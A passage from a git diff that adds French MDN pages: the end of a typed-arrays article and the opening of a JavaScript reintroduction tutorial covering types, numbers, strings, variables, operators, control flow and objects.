+<p>Le résultat obtenu sera "L'élément 0 du tableau 32 bits est désormais 32". Autrement dit, les deux tableaux typés construits ne sont que des vues sur le même tampon de données. Ce genre de manipulation peut être effectuée avec n'importe quel <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray">type de vue</a>.</p>
+
+<h3 id="Manipuler_des_structures_de_données_complexes">Manipuler des structures de données complexes</h3>
+
+<p>En combinant un même tampon et plusieurs vue de différents types, chacune commençant à un endroit différent dans le tampon, il est possible d'interagir avec des données qui représentent des objets contenant plusieurs types de données. Cela permet entre autres d'intéragir avec des structures de données complexes telles que <a href="/fr/docs/Web/WebGL">WebGL</a>, des fichiers de données, des structures C (notamment avec <a href="/fr/docs/Mozilla/js-ctypes">js-ctypes</a>).</p>
+
+<p>Si on a cette structure C :</p>
+
+<pre class="brush:cpp">struct uneStruct {
+  unsigned long id;
+  char nom_utilisateur[16];
+  float montant;
+};</pre>
+
+<p>On peut réceptionner les données d'un tampon qui contiendrait des objets de ce type grâce à:</p>
+
+<pre class="brush:js">let buffer = new ArrayBuffer(24);
+
+// ... on lit les données dans le tampon ...
+
+let vueId = new Uint32Array(buffer, 0, 1);
+let vueNomUtilisateur = new Uint8Array(buffer, 4, 16);
+let vueMontant = new Float32Array(buffer, 20, 1);</pre>
+
+<p>On peut ensuite accéder au montant lié à un utilisateur, par exemple, avec <code>vueMontant[0]</code>.</p>
+
+<div class="note"><strong>Note :</strong> <a href="https://fr.wikipedia.org/wiki/Alignement_en_m%C3%A9moire">L'alignement des structures de données</a> dans une structure C dépend de la plate-forme. Il est donc nécessaire de prendre des précautions quant au format attendu.</div>
+
+<h3 id="Convertir_un_tableau_typé_en_un_tableau_normal">Convertir un tableau typé en un tableau normal</h3>
+
+<p>Dans certains cas d'utilisation, après avoir traité un tableau typé, il peut être utile de convertir le tableau typé en un tableau normal ({{jsxref("Array")}}) afin de bénificier des propriétés du prototype d'<code>Array</code>. Pour cela, on peut utiliser la méthode {{jsxref("Array.from")}}. Si <code>Array.from()</code> n'est pas disponible, on peut effectuer cette conversion de la façon suivante :</p>
+
+<pre class="brush:js">let tableauTypé = new Uint8Array([1, 2, 3, 4]),
+    tableauNormal = Array.prototype.slice.call(tableauTypé);
+tableauNormal.length === 4;
+tableauNormal.constructor === Array;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Int8Array")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Décoder_encoder_en_base64#Annexe_.3A_D.C3.A9coder_une_cha.C3.AEne_en_base64_en_un_objet_Uint8Array_ou_ArrayBuffer">Manipuler des chaînes encodées en base 64 avec des <code>ArrayBuffer</code>s ou des tableaux typés</a></li>
+ <li><a href="/fr/docs/Code_snippets/StringView"><code>StringView</code> – une représentation des chaînes semblable à la réprésentation C, utilisant des tableaux typés</a></li>
+ <li><a href="https://hacks.mozilla.org/2011/12/faster-canvas-pixel-manipulation-with-typed-arrays">Manipuler les pixels d'un canvas plus efficacement avec les tableaux typés</a> (en anglais)</li>
+ <li><a href="https://www.html5rocks.com/en/tutorials/webgl/typed_arrays">Les tableaux typés : des données binaires arrivent dans le navigateur</a> (en anglais)</li>
+ <li>{{Glossary("Boutisme")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/une_réintroduction_à_javascript/index.html b/files/fr/web/javascript/une_réintroduction_à_javascript/index.html
new file mode 100644
index 0000000000..fd730c44fd
--- /dev/null
+++ b/files/fr/web/javascript/une_réintroduction_à_javascript/index.html
@@ -0,0 +1,960 @@
+---
+title: Une réintroduction à JavaScript
+slug: Web/JavaScript/Une_réintroduction_à_JavaScript
+tags:
+  - Intermediate
+  - JavaScript
+  - Tutorial
+translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
+---
+<div>{{jsSidebar}}</div>
+
+<h2 id="Introduction">Introduction</h2>
+
+<p>Pourquoi une réintroduction ? Parce que JavaScript peut raisonnablement se targuer d'être <a class="external" href="http://crockford.com/javascript/javascript.html">le langage de programmation le plus incompris au monde</a>. Bien que souvent raillé comme étant un simple jouet, derrière sa simplicité désarmante se cachent certaines fonctionnalités de langage très puissantes. De nombreuses applications JavaScript de premier plan sont apparues, ce qui montre qu'une connaissance approfondie de cette technologie est une compétence importante pour tout développeur Web.</p>
+
+<p>Il peut être utile de commencer avec un aperçu de l'histoire de ce langage. JavaScript a été créé en 1995 par Brendan Eich, un ingénieur de Netscape, et ce langage est sorti au grand jour pour la première fois avec Netscape 2 au début de l'année 1996. Il était au départ censé s'appeler LiveScript, mais a été renommé par une décision marketing néfaste dans le but de capitaliser sur la popularité du langage Java de Sun Microsystems, malgré le fait qu'ils n'aient que très peu en commun. Cela n'a jamais cessé d'être une source de confusion.</p>
+
+<p>Quelques mois plus tard, Microsoft a lancé avec Internet Explorer 3 une version du langage globalement compatible, appelée JScript. Quelques mois après, Netscape a soumis le langage à l'<a class="external" href="https://www.ecma-international.org/">Ecma International</a>, une organisation de normalisation européenne, ce qui a permis d'aboutir à la première édition du standard <a href="/fr/ECMAScript">ECMAScript</a> en 1997. Ce standard a reçu une mise à jour importante appelée <a class="external" href="https://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> en 1999, et est resté relativement stable depuis. La quatrième édition a été abandonnée suite à des différends portants sur la complexité du langage. De nombreuses sections de la quatrième édition ont été utilisées pour servir de fondation à la cinquième édition d'ECMAScript, publiée en décembre 2009. La sixième édition, qui apporte des nouveautés majeures a été publiée en juin 2015.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la suite de cet article et à des fins de simplicité, nous utiliserons les termes « JavaScript » et « ECMAScript » pour désigner la même chose.</p>
+</div>
+
+<p>Cette stabilité est une excellente nouvelle pour les développeurs, parce qu'elle a donné aux différentes implémentations tout le temps nécessaire pour s'y adapter.</p>
+
+<p>Contrairement à la plupart des langages de programmation, JavaScript n'a pas de concept d'entrée ou de sortie. Il est conçu pour s'exécuter comme un langage de script dans un environnement hôte, et c'est à cet environnement de fournir des mécanismes de communication avec le monde extérieur. L'environnement hôte le plus commun est un navigateur, mais des interpréteurs JavaScript existent également dans Adobe Acrobat, Photoshop, les images SVG, le moteur de widgets de Yahoo!, et même au sein d'environnements côté serveur tels que <a href="https://nodejs.org/">Node.js</a>. Cette liste ne se limite pas qu'à ces éléments et on retrouve également JavaScript dans les bases de données NoSQL telles que <a href="https://couchdb.apache.org/">Apache CouchDB</a>, les ordinateurs embarqués ou encore des environnements de bureaux comme <a href="https://www.gnome.org/">GNOME</a> (l'une des interfaces graphiques les plus populaires des systèmes d'exploitation GNU/Linux).</p>
+
+<h2 id="Aperçu">Aperçu</h2>
+
+<p>JavaScript est un langage dynamique multi-paradigme : il dispose de différents types, opérateurs, objets natifs et méthodes. Sa syntaxe s'inspire des langages Java et C, donc de nombreuses structures de ces langages s'appliquent également à JavaScript. À la différence de ces langages, JavaScript n'a pas de classes. Au lieu de cela, la fonctionnalité des classes est reprise par les prototypes d'objet (voir notamment <a href="/fr/docs/Web/JavaScript/Héritage_et_chaîne_de_prototypes">l'héritage et la chaîne de prototypes</a> ainsi que le sucre syntaxique pour les {{jsxref("Classes")}} apparu avec ES6/ES2015). L'autre grande différence tient dans le fait que les fonctions sont des objets, on peut donc stocker ces fonctions dans des variables et les transmettre comme n'importe quel objet.</p>
+
+<p>Commençons par nous intéresser à la brique de base de tout langage : les types. Les programmes en JavaScript manipulent des valeurs, et ces valeurs appartiennent toutes à un type. Les types JavaScript sont :</p>
+
+<ul>
+ <li>Les nombres : {{jsxref("Number")}}</li>
+ <li>Les chaînes de caractères : {{jsxref("String")}}</li>
+ <li>Les booléens : {{jsxref("Boolean")}}</li>
+ <li>Les fonctions : {{jsxref("Function")}}</li>
+ <li>Les objets : {{jsxref("Object")}}</li>
+ <li>Les symboles : {{jsxref("Symbol")}} (apparus avec la sixième édition d'ECMAScript, ES2015)</li>
+</ul>
+
+<p>On aura également {{jsxref("undefined")}} et {{jsxref("null")}}, qui sont relativement étranges. Les {{jsxref("Array","tableaux","",1)}} ou <em>Array</em> permettent d'organiser des séries d'objets au sein d'un même objet. Les {{jsxref("Date","dates","",1)}} et les {{jsxref("RegExp","expressions rationnelles","",1)}} ou <em>RegExp</em> qui sont  également des objets immédiatement disponibles en JavaScript. Afin d'être cohérent, les fonctions sont aussi une sorte particulière d'objets, de sorte que le diagramme de types ressemble en fait plus à ceci :</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}} (apparu avec la sixième édition d'ECMAScript, ES2015)</li>
+ <li>{{jsxref("Object")}}
+  <ul>
+   <li>{{jsxref("Function")}}</li>
+   <li>{{jsxref("Array")}}</li>
+   <li>{{jsxref("Date")}}</li>
+   <li>{{jsxref("RegExp")}}</li>
+  </ul>
+ </li>
+ <li>{{jsxref("null")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
+
+<p>Enfin, il y a également quelques types natifs pour gérer les exceptions : {{jsxref("Error")}}.</p>
+
+<h2 id="Les_nombres">Les nombres</h2>
+
+<p>Les nombres en JavaScript sont « des valeurs au format IEEE 754 en double précision 64 bits », d'après la spécification. Les conséquences de ce choix sont intéressantes. Il n'y a par exemple pas de type entier en JavaScript, donc il vous faudra faire preuve d'un petit peu de prudence avec les opérations arithmétiques si vous avez l'habitude de faire des maths en C ou en Java. Attendez-vous à obtenir des résultats comme :</p>
+
+<pre class="eval notranslate">0.1 + 0.2 == 0.30000000000000004
+</pre>
+
+<p>Dans la pratique, les valeurs entières sont traîtées comme des entiers représentés sur 32 bits (certaines implémentations stockent également les entiers sur 32 bits). Cela est important quand on souhaite effectuer des opérations en binaire. Pour plus de détails, voir les articles sur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">les opérateurs binaires</a>.</p>
+
+<p>Les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques">opérateurs numériques</a> standards sont gérés, dont l'addition, la soustraction, le modulo (ou reste) arithmétique et ainsi de suite. Il y a également un objet natif, qui n'a pas été mentionné jusqu'à présent, appelé {{jsxref("Math")}}, qui permet de gérer certaines fonctions et constantes mathématiques plus avancées :</p>
+
+<pre class="brush: js notranslate">Math.sin(3.5);
+var aire = Math.PI * r * r;
+</pre>
+
+<p>On peut convertir une chaîne de caractères en un nombre entier à l'aide de la fonction intégrée {{jsxref("Objets_globaux/parseInt","parseInt()")}}. Elle reçoit la base de conversion comme second paramètre , qui devrait toujours être fourni afin de lever une éventuelle ambiguïté :</p>
+
+<pre class="brush: js notranslate">parseInt("123", 10); // 123
+parseInt("010", 10); //10
+</pre>
+
+<p>Si la base n'est pas indiquée, les résultats peuvent être surprenants dans les anciens navigateurs (avant 2013) :</p>
+
+<pre class="brush: js notranslate">parseInt("010");  //  8
+parseInt("0x10"); // 16
+</pre>
+
+<p>Cela se produit parce que la fonction {{jsxref("Objets_globaux/parseInt","parseInt()")}} a été implémentée pour traiter la chaîne comme un nombre octal à cause du zéro initial.</p>
+
+<p>Si on souhaite convertir un nombre binaire en un entier, il suffit simplement de changer la base :</p>
+
+<pre class="brush: js notranslate">parseInt("11", 2); // 3
+</pre>
+
+<p>De la même manière, vous pouvez traiter les nombres à virgule flottante à l'aide de la fonction intégrée {{jsxref("Objets_globaux/parseFloat","parseFloat()")}}, qui, à la différence de {{jsxref("Objets_globaux/parseInt","parseInt()")}}, utilise toujours la base 10.</p>
+
+<p>On peut également utiliser l'opérateur unaire <code>+</code> pour convertir des valeurs en nombres :</p>
+
+<pre class="brush: js notranslate">+ "42";   // 42
++ "010";  // 10
++ "0x10"; // 16
+</pre>
+
+<p>Une valeur spéciale appelée {{jsxref("NaN")}} (qui signifie « <em>Not a Number</em> », soit « pas un nombre ») est renvoyée si la chaîne est non numérique :</p>
+
+<pre class="brush: js notranslate">parseInt("coucou", 10); // NaN
+</pre>
+
+<p><code>NaN</code> est « toxique » : si cette valeur est fournie en entrée pour n'importe quelle opération mathématique, le résultat sera également <code>NaN</code> :</p>
+
+<pre class="brush: js notranslate">NaN + 5; // NaN
+</pre>
+
+<p>Cette valeur peut être détectée grâce à la fonction native {{jsxref("Objets_globaux/isNaN","isNaN()")}} :</p>
+
+<pre class="brush: js notranslate">isNaN(NaN); // true
+</pre>
+
+<p>JavaScript dispose également de valeur spéciales pour l'infini {{jsxref("Infinity")}} et l'infini négatif (<code>-Infinity</code>) :</p>
+
+<pre class="brush: js notranslate">1 / 0; // Infinity
+-1 / 0; // -Infinity
+</pre>
+
+<p>Il est possible de tester les valeurs <code>Infinity</code>, <code>-Infinity</code> et <code>NaN</code> à l'aide de la fonction native {{jsxref("Objets_globaux/isFinite","isFinite()")}} :</p>
+
+<pre class="brush: js notranslate">isFinite(1/0); // false
+isFinite(-Infinity); // false
+isFinite(NaN); // false
+</pre>
+
+<div class="note"><strong>Note :</strong> Les fonctions {{jsxref("Objets_globaux/parseFloat","parseFloat()")}} et {{jsxref("Objets_globaux/parseInt","parseInt()")}} traitent une chaîne de caractères jusqu'à ce qu'elles atteignent un caractère qui n'est pas valide pour le format numérique indiqué, puis renvoient le nombre traité jusqu'à ce point. Cependant, l'opérateur "+" convertit simplement la chaîne à <code>NaN</code> à partir du moment où la chaîne contient le moindre caractère non valide. Vous pouvez tester ce comportement en manipulant la chaîne "10.2abc" avec chaque méthode dans la console afin de mieux comprendre les différences.</div>
+
+<h2 id="Les_chaînes_de_caractères">Les chaînes de caractères</h2>
+
+<p>Les chaînes en JavaScript sont des séquences de caractères. Pour être plus précis, ce sont des séquences de <a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Unicode">caractères Unicode</a>, chaque caractère étant représenté par un nombre de 16 bits. Cette nouvelle devrait être bien accueillie par toute personne qui a déjà eu affaire à des problèmes d'internationalisation.</p>
+
+<p>Si vous voulez représenter un seul caractère, il suffit d'utiliser une chaîne qui contient un seul caractère.</p>
+
+<p>Pour connaître la longueur d'une chaîne, utilisez sa propriété {{jsxref("String/length","length")}} :</p>
+
+<pre class="brush: js notranslate">"bonjour".length; // 7
+</pre>
+
+<p>C'est notre première rencontre avec les objets JavaScript ! Les chaînes peuvent également être utilisées comme des objets. Elles possèdent aussi des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String#M.C3.A9thodes">méthodes</a> permettant de manipuler la chaîne et d'accéder à certaines informations sur cette chaîne de caractères :</p>
+
+<pre class="brush: js notranslate">"bonjour".charAt(0); // "b"
+"coucou monde".replace("coucou", "bonjour"); // "bonjour monde"
+"bonjour".toUpperCase(); // "BONJOUR"
+</pre>
+
+<h2 id="Les_autres_types">Les autres types</h2>
+
+<p>JavaScript fait la distinction entre {{jsxref("null")}}, qui est un objet de type <code>object</code> indiquant une absence délibérée de valeur, et {{jsxref("undefined")}} qui est un objet de type <code>undefined</code> indiquant une variable non initialisée — c'est-à-dire qui n'a pas encore été assignée. Nous parlerons des variables plus tard, mais en JavaScript il est possible de déclarer une variable sans lui assigner de valeur. Si vous faites cela, le type de la variable sera <code>undefined</code> qui est une constante.</p>
+
+<p>JavaScript dispose d'un type booléen, dont les valeurs possibles sont <code>true</code> (vrai) et <code>false</code> (faux). L'un et l'autre sont des mots clés. Toute valeur peut être convertie en une valeur booléenne selon les règles suivantes :</p>
+
+<ol>
+ <li><code>false</code>, <code>0</code>, la chaîne vide (<code>""</code>), <code>NaN</code>, <code>null</code> et <code>undefined</code> deviennent toutes <code>false</code> </li>
+ <li>toutes les autres valeurs deviennent <code>true</code>.</li>
+</ol>
+
+<p>Cette conversion peut être faite de manière explicite à l'aide de la fonction <code>Boolean()</code> :</p>
+
+<pre class="brush: js notranslate">Boolean(""); // false
+Boolean(234); // true
+</pre>
+
+<p>Cependant, c'est rarement nécessaire, puisque JavaScript effectuera cette conversion silencieusement chaque fois qu'il attend une valeur booléenne, comme par exemple dans une instruction <code>if</code> (voir plus bas). Pour cette raison, on parle souvent simplement de valeurs « vraies » et « fausses » pour indiquer des valeurs devenant respectivement <code>true</code> et <code>false</code> lorsqu'elles sont converties en valeurs booléennes.</p>
+
+<p>Les opérations booléennes comme <code>&amp;&amp;</code> (<em>et</em> logique), <code>||</code> (<em>ou</em> logique) et <code>!</code> (<em>non</em> logique) sont également gérées, comme on le verra plus bas.</p>
+
+<h2 id="Les_variables">Les variables</h2>
+
+<p>En JavaScript, on peut déclarer de nouvelles variables grâce à l'un de ces trois mots-clés : <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code>, ou <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/var" title="/en/JavaScript/Reference/Statements/var">var</a></code>.</p>
+
+<p><code>let</code> permet de déclarer des variables qui pourront être utilisées dans un bloc. La variable déclarée avec <code>let</code> est uniquement disponible dans le bloc qui contient la déclaration.</p>
+
+<pre class="brush: js notranslate">let a;
+let nom = "Simon";
+</pre>
+
+<p>Voici un exemple de <em>portée</em> avec <code>let</code> :</p>
+
+<pre class="brush: js notranslate">// variableLet n'est pas utilisable ici
+
+for ( let variableLet = 0; variableLet &lt; 5; variableLet++ ) {
+  // variableLet peut être utilisée ici
+}
+
+// variableLet n'est pas utilisable ici
+</pre>
+
+<p><code>const</code> permet de déclarer des variables dont la valeur ne doit pas changer. Une variable déclarée avec <code>const</code> est disponible dans le bloc dans lequel elle est déclarée.</p>
+
+<pre class="brush: js notranslate">// On définit la constante Pi
+const Pi = 3.14;
+
+// L'instruction qui suit provoquera une
+// erreur car on veut affecter une nouvelle
+// valeur à une constante.
+Pi = 1;
+</pre>
+
+<p><code>var</code> est le mot-clé le plus fréquemment utilisé pour déclarer des variables. Ce mot-clé était disponible avant <code>let</code> et <code>const</code> (c'était alors le seul qui permettait de déclarer des variables). Une variable qu'on déclare avec <code>var</code> est disponible dans le bloc de la fonction dans laquelle elle est déclarée.</p>
+
+<pre class="brush: js notranslate">var a;
+var nom = "simon";</pre>
+
+<p>Voici un exemple pour étudier la portée d'une variable déclarée avec <code>var</code> :</p>
+
+<pre class="brush: js notranslate">// variableVar *est* utilisable ici
+
+for (var variableVar = 0; variableVar &lt; 5; variableVar++) {
+  // variableVar *est* également disponible ici
+}
+
+// variableVar *est* toujours disponible ici
+</pre>
+
+<p>Si on déclare une variable sans lui affecter aucune valeur, son type sera alors <code>undefined</code>.</p>
+
+<p>JavaScript possède une différence importante quant aux autres langages de programmation comme Java : en JavaScript, les blocs ne créent pas de portées pour les variables déclarées avec <code>var</code>, c'est la fonction qui gère la portée d'une variable déclarée avec <code>var</code>. Avec ECMAScript 2015, les instructions de déclarations, <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/let">let</a></code> et <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/const">const</a></code> permettent de créer des variables dont la portée est limitée à celle du bloc qui l'englobe.</p>
+
+<h2 id="Les_opérateurs">Les opérateurs</h2>
+
+<p>Les opérateurs numériques en JavaScript sont <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> et <code>%</code> (qui est <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Reste_()">l'opérateur de reste, à ne pas confondre avec le « modulo » mathématique</a>). Les valeurs sont affectées à l'aide de <code>=</code> et il existe également des opérateurs d'affectation combinés comme <code>+=</code> et <code>-=</code>. Ils sont équivalents à <code>x = x <em>opérateur</em> y</code>.</p>
+
+<pre class="brush: js notranslate">x += 5;
+x = x + 5;
+</pre>
+
+<p>Vous pouvez utiliser <code>++</code> et <code>--</code> respectivement pour incrémenter et pour décrémenter. Ils peuvent être utilisés comme opérateurs préfixes ou suffixes.</p>
+
+<p>L'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Addition_(.2B)">opérateur <code>+</code> </a> se permet également de concaténer des chaînes :</p>
+
+<pre class="brush: js notranslate">"coucou" + " monde" // "coucou monde"
+</pre>
+
+<p>Si vous additionnez une chaîne à un nombre (ou une autre valeur), tout est d'abord converti en une chaîne. Ceci pourrait vous surprendre :</p>
+
+<pre class="brush: js notranslate">"3" + 4 + 5; // "345"
+3 + 4 + "5"; // "75"
+</pre>
+
+<p>L'ajout d'une chaîne vide à quelque chose est une manière utile de la convertir en une chaîne.</p>
+
+<p>Les <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison">comparaisons</a> en JavaScript se font à l'aide des opérateurs <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code> et <code>&gt;=</code>. Ceux-ci fonctionnent tant pour les chaînes que pour les nombres. L'égalité est un peu moins évidente. L'opérateur double égal effectue une équivalence si vous lui donnez des types différents, ce qui donne parfois des résultats intéressants :</p>
+
+<pre class="brush: js notranslate">123 == "123"; // true
+1 == true;    // true
+</pre>
+
+<p>Pour éviter les calculs d'équivalences de types, utilisez l'opérateur triple égal :</p>
+
+<pre class="brush: js notranslate">123 === "123"; //false
+true === true; // true
+</pre>
+
+<p>Les opérateurs <code>!=</code> et <code>!==</code> existent également.</p>
+
+<p>JavaScript dispose également d'<a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">opérations bit à bit</a>.</p>
+
+<h2 id="Les_structures_de_contrôle">Les structures de contrôle</h2>
+
+<p>JavaScript dispose d'un ensemble de structures de contrôle similaires aux autres langages de la famille du langage C. Les structures conditionnelles sont présentes avec <code>if</code> et <code>else</code> ; lesquels peuvent être chaînés si nécessaire :</p>
+
+<pre class="brush: js notranslate">var nom = "des chatons";
+if (nom == "des chiots") {
+  nom += " !";
+} else if (nom == "des chatons") {
+  nom += " !!";
+} else {
+  nom = " !" + nom;
+}
+nom == "des chatons !!"
+</pre>
+
+<p>JavaScript dispose également de boucles <code>while</code> et <code>do-while</code>. Les premières permettent de former des boucles basiques ; les secondes permettent de construire des boucles qui seront exécutées au moins une fois :</p>
+
+<pre class="brush: js notranslate">while (true) {
+  // une boucle infinie !
+}
+
+do {
+  var input = getInput();
+} while (inputNonValide(input))
+</pre>
+
+<p>Les boucles <code>for</code> en JavaScript sont les mêmes qu'en C et en Java : elles permettent de fournir les informations de contrôle de la boucle en une seule ligne.</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; 5; i++) {
+  // Sera exécutée cinq fois
+}
+</pre>
+
+<p>JavaScript permet également d'utiliser deux autres types de boucles : <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for...of</a></code> :</p>
+
+<pre class="brush: js notranslate">for (let value of array) {
+  // utiliser des instructions
+  // pour manipuler la valeur value
+}</pre>
+
+<p>et <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in">for...in</a></code> :</p>
+
+<pre class="brush: js notranslate">for (let propriété in objet) {
+  // utiliser des instructions
+  // pour manipuler la propriété
+}</pre>
+
+<p>Les opérateurs <code>&amp;&amp;</code> et <code>||</code> utilisent une logique de court-circuit, ce qui signifie qu'ils exécuteront leur second opérande ou non selon la valeur du premier. C'est très utile pour vérifier qu'un objet n'est pas égal à <code>null</code> avant d'essayer d'accéder à ses attributs :</p>
+
+<pre class="brush: js notranslate">var nom = o &amp;&amp; o.getNom();
+</pre>
+
+<p>Ou pour définir des valeurs par défaut :</p>
+
+<pre class="brush: js notranslate">var nom = autreNom || "nomParDéfaut";
+</pre>
+
+<p>De la même façon, le OU peut être utilisé pour mettre en cache des valeurs :</p>
+
+<pre class="brush: js notranslate">var nom = nomEnCache || (nomEnCache = getNom());</pre>
+
+<p>JavaScript propose également un opérateur ternaire pour les assignations conditionnelles en une ligne :</p>
+
+<pre class="brush: js notranslate">var permis = (age &gt; 18) ? "oui" : "non";
+</pre>
+
+<p>L'instruction <code>switch</code> peut être utilisée pour différentes branches de code basées sur un nombre ou une chaîne :</p>
+
+<pre class="brush: js notranslate">switch (action) {
+  case 'dessiner':
+    dessine();
+    break;
+  case 'manger':
+    mange();
+    break;
+  default:
+    neRienFaire();
+}
+</pre>
+
+<p>Si vous n'ajoutez pas d'instruction <code>break</code>, l'exécution va se poursuivre au niveau suivant. C'est rarement ce qui est désiré, en fait ça vaut même la peine de préciser dans un commentaire si la poursuite au cas suivant est délibérée pour aider au débogage :</p>
+
+<pre class="brush: js notranslate">switch (a) {
+  case 1: // identique au cas 2
+  case 2:
+    mange();
+    break;
+  default:
+    nerienfaire();
+}
+</pre>
+
+<p>La clause <code>default</code> est optionnelle. Vous pouvez placer des expressions à la fois dans la partie <code>switch</code> et dans les cas à gérer si vous voulez ; les comparaisons entre les deux se font comme si on avait utilisé l'opérateur <code>===</code> :</p>
+
+<pre class="brush: js notranslate" id="Les_objets">switch (1 + 3){
+  case 2 + 2:
+    yay();
+    break;
+  default:
+    nArriveJamais();
+}</pre>
+
+<h2 id="Les_objets_2">Les objets</h2>
+
+<p>Les objets en JavaScript sont simplement des collections de paires nom-valeur. Dans ce sens, ils sont similaires aux :</p>
+
+<ul>
+ <li>dictionnaires en Python,</li>
+ <li>hashs en Perl et Ruby,</li>
+ <li>tables de hashing en C et C++,</li>
+ <li>HashMaps en Java,</li>
+ <li>tableaux associatifs en PHP.</li>
+</ul>
+
+<p>Le fait que cette structure de données soit si largement utilisée est un témoignage de sa polyvalence. Puisque tout (sauf les types de base) est un objet en JavaScript, tout programme écrit dans ce langage implique naturellement un grand nombre de recherches dans des tables de hashing. C'est une bonne chose que ce soit si rapide !</p>
+
+<p>La partie « nom » est une chaîne JavaScript, tandis que la partie « valeur » peut être n'importe quelle valeur JavaScript, y compris d'autres objets. Cela permet de construire des structures de données de n'importe quel niveau de complexité.</p>
+
+<p>Il existe deux façons très simples pour créer un objet vide :</p>
+
+<pre class="brush: js notranslate">var obj = new Object();
+</pre>
+
+<p>Et :</p>
+
+<pre class="brush: js notranslate">var obj = {};
+</pre>
+
+<p>Ces deux lignes sont sémantiquement équivalentes ; la seconde est appelée la syntaxe littérale d'objet, et est beaucoup plus pratique. Cette syntaxe n'existait pas dans les toutes premières versions du langage, c'est pourquoi on voit parfois du code utilisant l'ancienne méthode. Cette seconde syntaxe se rapproche également du format JSON.</p>
+
+<p>Une fois l'objet créé, ses propriétés peuvent à nouveau être consultées de deux manières différentes :</p>
+
+<pre class="brush: js notranslate">obj.nom = "Simon"
+var nom = obj.nom;
+</pre>
+
+<p>Et…</p>
+
+<pre class="brush: js notranslate">obj["nom"] = "Simon";
+var nom = obj["nom"];
+</pre>
+
+<p>Ces lignes sont également sémantiquement équivalentes. La seconde méthode a l'avantage de fournir le nom de l'attribut de l'objet dans une chaîne, ce qui signifie qu'il peut être calculé au moment de l'exécution (mais ce qui peut empêcher certaines optimisations du moteur JavaScript). Elle peut également être utilisée pour définir et lire des propriétés dont les noms sont des <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Mots-cl.C3.A9s">mots réservés</a> :</p>
+
+<pre class="brush: js notranslate">obj.for = "Simon"; // avant ES5 erreur de syntaxe, "for" est un mot réservé
+obj.for = "Simon"; // OK à partir d'ES5
+obj["for"] = "Simon"; // fonctionne très bien
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> ECMAScript 5 permet d'utiliser les mots-clés réservés pour des noms de propriétés, même si ceux-ci ne sont pas encadrés par des doubles quotes. Pour plus de précisions, voir <a href="https://es5.github.io/#x10.2.1.2">le texte de la spécification à ce sujet</a> (différence entre Identifier et IdentifierName). Cependant, pour des raisons de lisibilité, on préfèrera ne pas utiliser les mots-clés pour désigner des propriétés.</p>
+</div>
+
+<p>La syntaxe littérale d'objet peut être utilisée pour initialiser un objet dans son intégralité :</p>
+
+<pre class="brush: js notranslate">var obj = {
+  nom: "Carotte",
+  for: "Max",
+  details: {
+    couleur: "orange",
+    taille: 12
+  }
+};
+</pre>
+
+<p>Les accès à des attributs peuvent aussi être chaînés :</p>
+
+<pre class="brush: js notranslate">obj.details.couleur; // orange
+obj["details"]["taille"]; // 12
+</pre>
+
+<p>Pour plus d'informations sur les objets et les prototypes, on pourra consulter <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/prototype">Object.prototype</a></code> et l'article sur <a href="/fr/docs/Web/JavaScript/H%C3%A9ritage_et_cha%C3%AEne_de_prototypes">l'héritage et la chaîne de prototypes</a>.</p>
+
+<h2 id="Les_tableaux">Les tableaux</h2>
+
